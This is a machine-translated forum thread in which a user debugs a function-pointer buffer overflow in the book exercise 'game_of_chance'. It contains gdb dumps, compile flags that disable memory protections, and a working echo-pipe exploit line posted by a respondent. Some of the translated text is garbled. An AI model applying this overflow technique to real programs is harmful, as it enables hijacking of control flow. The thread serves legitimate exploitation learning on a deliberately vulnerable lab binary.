我无法获得这种缓冲区溢出漏洞,无法终生使用。源代码在这里。摘自《破解利用艺术》一书。这里的主题是以下结构:

struct user {
   int uid;
   int credits;
   int highscore;
   char name[100];
   int (*current_game) ();
};


这个想法是溢出名称[100],以便在100个字母A后面提供的地址将覆盖地址。函数指针,名为current_game。

但是,请参见下面的gdb读数:

[Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��048e2c]
56        printf("[You have %u credits] ->  ", player.credits);
(gdb) x/40x player.name
0x804c08c <player+12>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c09c <player+28>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ac <player+44>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0bc <player+60>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0cc <player+76>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0dc <player+92>:    0x41414141  0x41414141  0x41414141  0x41414141
0x804c0ec <player+108>:   0x41414141  0x080490bb  0x65383430  0x00006332
0x804c0fc:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c10c:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c11c:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/5x player.current_game
0x80490bb <pick_a_number>:    0x83e58955  0xec8318ec  0x9d2e680c  0xa2e80804
0x80490cb <pick_a_number+16>: 0x83fffff4
(gdb) print 6*16
 = 96


我将另一个函数的地址如[Name: A*100 ...行所示,为player.name。在此之下,您可以看到内存布局,内存中实际上有100 A的情况。但是,在最后一个A之后,即使看到player.name缓冲区确实确实包含一个溢出,我们仍会看到下一个内存位置是0x080490bb并没有被覆盖。之后,我显示了player.current_game的打印输出,以显示它确实在地址0x80490bb上,这是我们在最后一个0x41414141之后直接在转储中看到的内容。我对此感到困惑。

我尝试过的事情:


通过将/proc/sys/kernel/randomize_va_space设置为0,在我的Fedora 25上禁用了ASLR。
启用了可执行堆栈在gcc中。
在gcc中关闭堆栈保护。
在PIE中关闭
您可以使用以下命令确认我曾经制作过二进制文件:gcc -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc

我尝试将地址写为\ x2c \ x8e \ x04 \ 08,然后直接输入0x08048e2c,均无效。这是我要运行的函数的地址。
在程序的多次执行中观察到paddr和vaddr是相同的。

在两个gdb中都进行了调试,如下所示以及Radare2。您可以在以下文件中看到我的rabin2打印输出:

havecode true
pic false
canary false
nx false
intrp /lib/ld-linux.so.2
bintype elf
类ELF32
lang c
arch x86
位32
机器Intel 80386
操作系统linux
minopsz 1
maxopsz 16
pcalign 0
endian little
假falselinenum true
lsyms true
重定位true
rpath NONE
binsz 20471


谢谢。

更新

我能够成功地导致字符的分段错误(例如'A'或'B'),但是当我执行A * 100后跟08048e2c内存地址时,我试图跳转执行到,将发生段错误,但是player.current_game函数指针地址(如上所示在player.name缓冲区之后)恰好是[DEBUG] current_game pointer @ 0x34303830而不是地址08048e2c,这会导致分段错误,因为它无法执行0x34303830。另外,我在0x804c0ec上放置了读/写手表,以查看是否可以找到任何东西,但没有找到其他东西。

评论

据我所知,漏洞利用涉及以下内容:1.输入任何名称-2.玩任何游戏-3.更改名称以利用字符串-4.再次选择相同的游戏(因此不会重置指针) 。你能确认吗?

绝对是这本书中描述的方式。

#1 楼

对不起,但这确实对我有用。让我们逐步进行一下吧?
1。设置
我用您的命令行来编译程序:
gcc  -z execstack game_of_chance.c -fno-stack-protector -no-pie -m32 -o goc

虽然我做了一个小小的改动,但我还是做了
#define DATAFILE "/var/chance.data" // File to store user data


#define DATAFILE "chance.data" // File to store user data

安心。
2。玩游戏!

您可以看到,我实际上对此很不好。我们唯一需要记住的是,虽然我们在游戏菜单中选择了“ 1”。
3。利用它!
首先更改我们的名称以覆盖指针:




发生了某些事情!最后不应该只用4倍BBBB吗?不!但为什么?我最好的猜测:堆栈对齐。让我们检查一下。
4。玩弄
在game_of_choice.c中,我已将
char name[100];

更改为
char name[128];

,并尝试了128次'A':

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB

它起作用。因此,看来您的问题是堆栈对齐
-mpreferred-stack-boundary的标准值为4,这意味着gcc试图创建16字节对齐的堆栈边界。
5。 ASCII fun
程序正在从命令行读取字符串。我们想要的是也可以跳过该字符串中传递地址0x08048e2c的方式。问题是,如果我们只写08048e2c,我们实际上会将0x30383034386532630变成0x308-> 0x38,等等,每个数字都是一个字节数)作为值传递给程序。因此,我们需要传递构成地址的实际字节。
当我们在字符串中传递\x2c\x8e\x04\x08时,我们实际上传递了0x5c7832635c7838655c7830345c3038,因为它仍然被解释为一个字符序列,这些字符序列被一一转换为字节值。
查看任何ASCII表时,我们注意到\x08转换为特殊的退格字符。我们当然不能在文本中包含它。
使用perl -e或echo -e,我们让相应的程序知道它在接收到字符串时应注意转义序列。因此它们实际上输出的是“实际”字节值。
echo -e '\x2c\x8e\x04'


评论


我也能够用Bs重写它,尽管不一致(由于您所说的堆栈对齐,非常好!),但是我还不能使它执行上述功能代码,但这又可能是由于关于堆栈对齐问题,所以让我更机智一些。还要确保溢出运行后,没有其他内容写入该地址。当我用函数地址溢出时,它似乎消失了。

–the_endian
17年1月25日在9:07



确保在名称中使用正确的返回地址:\ x2c \ x8e \ x04 \ 08和0x08048e2c都不会对您有所帮助。您需要实际的四个字节,因为此转义序列不会被解释(例如'\'会导致\ x5c,...)。查看echo -e'\ x2c \ x8e \ x04 \ 08'的输出

–诺德瓦尔德
17年1月25日在9:23



您正在那里的东西!请参阅上面的更新。基本上,函数指针player.current_game被0x34303830覆盖,这是0804的ASCII码,这是包含我要执行的代码的地址的第一部分。由于某些原因,即使我将其写为普通的08048e2c,它仍然没有被解释为地址,而是解释了这些数字的ASCII值...

–the_endian
17年1月25日在9:42

这是因为程序需要一系列字符,而不是其他任何字符(例如,带有转义序列的字符串)。因此,您必须提供实际的字节(有问题,因为\ x08实际上意味着“退格”)。

–诺德瓦尔德
17年1月25日在10:24

回显-e'1 \ n5 \ nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ x2c \ x8e \ x04 \ x08 \ n1'| ./GOC

–诺德瓦尔德
17年1月25日在10:42